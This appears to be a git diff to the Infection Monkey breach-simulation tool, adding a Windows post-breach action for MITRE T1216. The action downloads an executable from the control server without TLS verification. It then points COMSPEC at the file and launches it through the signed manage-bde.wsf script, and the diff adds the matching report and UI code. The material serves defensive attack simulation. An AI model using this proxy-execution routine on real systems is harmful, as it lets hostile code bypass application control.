diff --git a/monkey/common/data/api_url_consts.py b/monkey/common/data/api_url_consts.py new file mode 100644 index 000000000..4fef6b11b --- /dev/null +++ b/monkey/common/data/api_url_consts.py @@ -0,0 +1 @@ +T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download' diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py index 6b1bbc3ea..ec9f4a823 100644 --- a/monkey/common/data/post_breach_consts.py +++ b/monkey/common/data/post_breach_consts.py @@ -6,5 +6,6 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories" POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received" POST_BREACH_SETUID_SETGID = "Setuid and Setgid" POST_BREACH_JOB_SCHEDULING = "Schedule jobs" +POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution" POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery" POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history" diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 77f3779b2..35922286f 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -2,12 +2,14 @@ import json import logging import platform from socket import gethostname +from urllib.parse import urljoin import requests from requests.exceptions import ConnectionError import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel +from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import check_internet_access, local_ips from infection_monkey.transport.http import HTTPConnectProxy @@ -325,6 +327,17 @@ class ControlClient(object): except requests.exceptions.RequestException: return False + @staticmethod + def get_T1216_pba_file(): + try: + return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123 + T1216_PBA_FILE_DOWNLOAD_PATH), + verify=False, + proxies=ControlClient.proxies, + stream=True) + except requests.exceptions.RequestException: + return False + @staticmethod def should_monkey_run(vulnerable_port: str) -> bool: if vulnerable_port and \ diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py new file mode 100644 index 000000000..17eb86337 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -0,0 +1,30 @@ +import logging +import subprocess + +from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC +from infection_monkey.post_breach.pba import PBA +from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ( + cleanup_changes, get_commands_to_proxy_execution_using_signed_script) +from infection_monkey.utils.environment import is_windows_os + +LOG = logging.getLogger(__name__) + + +class SignedScriptProxyExecution(PBA): + def __init__(self): + windows_cmds = get_commands_to_proxy_execution_using_signed_script() + super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, + windows_cmd=' '.join(windows_cmds)) + + def run(self): + try: + original_comspec = '' + if is_windows_os(): + original_comspec =\ + subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116 + + super().run() + except Exception as e: + LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}") + finally: + cleanup_changes(original_comspec) diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py new file mode 100644 index 000000000..f39343577 --- /dev/null +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -0,0 +1,18 @@ +import subprocess + +from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import ( + get_windows_commands_to_delete_temp_comspec, + get_windows_commands_to_proxy_execution_using_signed_script, + get_windows_commands_to_reset_comspec) +from infection_monkey.utils.environment import is_windows_os + + +def get_commands_to_proxy_execution_using_signed_script(): + windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script() + return windows_cmds + + +def cleanup_changes(original_comspec): + if is_windows_os(): + subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116 + subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116 diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py new file mode 100644 index 000000000..6cdf5fe01 --- /dev/null +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py @@ -0,0 +1,28 @@ +import os + +from infection_monkey.control import ControlClient + +TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe') + + +def get_windows_commands_to_proxy_execution_using_signed_script(): + download = ControlClient.get_T1216_pba_file() + with open(TEMP_COMSPEC, 'wb') as random_exe_obj: + random_exe_obj.write(download.content) + random_exe_obj.flush() + + windir_path = os.environ['WINDIR'] + signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf') + + return [ + f'set comspec={TEMP_COMSPEC} &&', + f'cscript {signed_script}' + ] + + +def get_windows_commands_to_reset_comspec(original_comspec): + return f'set comspec={original_comspec}' + + +def get_windows_commands_to_delete_temp_comspec(): + return f'del {TEMP_COMSPEC} /f' diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c5b4d128f..e8dfd2cfc 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -6,6 +6,7 @@ from flask import Flask, Response, send_from_directory from werkzeug.exceptions import NotFound import monkey_island.cc.environment.environment_singleton as env_singleton +from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.attack.attack_config import AttackConfiguration @@ -35,6 +36,8 @@ from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.reporting.report import Report from monkey_island.cc.resources.root import Root +from monkey_island.cc.resources.T1216_pba_file_download import \ + T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.test.clear_caches import ClearCaches @@ -130,6 +133,7 @@ def init_api_resources(api): api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PBAFileDownload, '/api/pba/download/') + api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) api.add_resource(FileUpload, '/api/fileUpload/', '/api/fileUpload/?load=', '/api/fileUpload/?restore=') diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py new file mode 100644 index 000000000..104c113f4 --- /dev/null +++ b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py @@ -0,0 +1,17 @@ +import os + +import flask_restful +from flask import send_from_directory + +from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH + + +class T1216PBAFileDownload(flask_restful.Resource): + """ + File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA) + """ + + def get(self): + executable_file_name = 'T1216_random_executable.exe' + return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'), + filename=executable_file_name) diff --git a/monkey/monkey_island/cc/resources/pba/T1216_random_executable.exe b/monkey/monkey_island/cc/resources/pba/T1216_random_executable.exe new file mode 100644 index 000000000..88335be70 Binary files /dev/null and b/monkey/monkey_island/cc/resources/pba/T1216_random_executable.exe differ diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index ba957c3f1..f14ad7aa6 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -19,7 +19,8 @@ from monkey_island.cc.services.attack.technique_reports import (T1003, T1005, T1158, T1166, T1168, T1188, T1197, T1210, - T1222, T1504) + T1216, T1222, + T1504) from monkey_island.cc.services.reporting.report_generation_synchronisation import \ safe_generate_attack_report @@ -59,6 +60,7 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1166': T1166.T1166, 'T1168': T1168.T1168, 'T1053': T1053.T1053, + 'T1216': T1216.T1216, 'T1087': T1087.T1087, 'T1146': T1146.T1146 } diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 7499dabc9..366a86aa7 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -194,6 +194,15 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1222", "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." + }, + "T1216": { + "title": "Signed script proxy execution", + "type": "bool", + "value": False, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1216", + "description": "Adversaries may use scripts signed with trusted certificates to " + "proxy execution of malicious files on Windows systems." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py new file mode 100644 index 000000000..d4efbd73e --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -0,0 +1,21 @@ +from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC +from monkey_island.cc.services.attack.technique_reports.pba_technique import \ + PostBreachTechnique + +__author__ = "shreyamalviya" + + +class T1216(PostBreachTechnique): + tech_id = "T1216" + unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\ + "pre-existing signed script since it didn't run on any Windows machines. " +\ + "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\ + "bypass application control and signature validation on systems." + scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\ + "pre-existing signed script on Windows but failed. " +\ + "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\ + "bypass application control and signature validation on systems." + used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\ + "This behavior could be abused by adversaries to execute malicious files that could " +\ + "bypass application control and signature validation on systems." + pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC] diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 338428243..f61bcbeda 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -71,6 +71,16 @@ POST_BREACH_ACTIONS = { "info": "Attempts to create a scheduled job on the system and remove it.", "attack_techniques": ["T1168", "T1053"] }, + { + "type": "string", + "enum": [ + "SignedScriptProxyExecution" + ], + "title": "Signed script proxy execution", + "info": "On Windows systems, attemps to execute an arbitrary file " + "with the help of a pre-existing signed script.", + "attack_techniques": ["T1216"] + }, { "type": "string", "enum": [ diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js new file mode 100644 index 000000000..e608492a1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js @@ -0,0 +1,45 @@ +import React from 'react'; +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, ScanStatus} from './Helpers'; +import MitigationsComponent from './MitigationsComponent'; + +class T1216 extends React.Component { + + constructor(props) { + super(props); + } + + static getColumns() { + return ([{ + columns: [ + { Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'}}, + { Header: 'Result', + id: 'result', + accessor: x => x.result, + style: {'whiteSpace': 'unset'}} + ] + }]) + } + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ? + : ''} + +
+ ); + } +} + +export default T1216;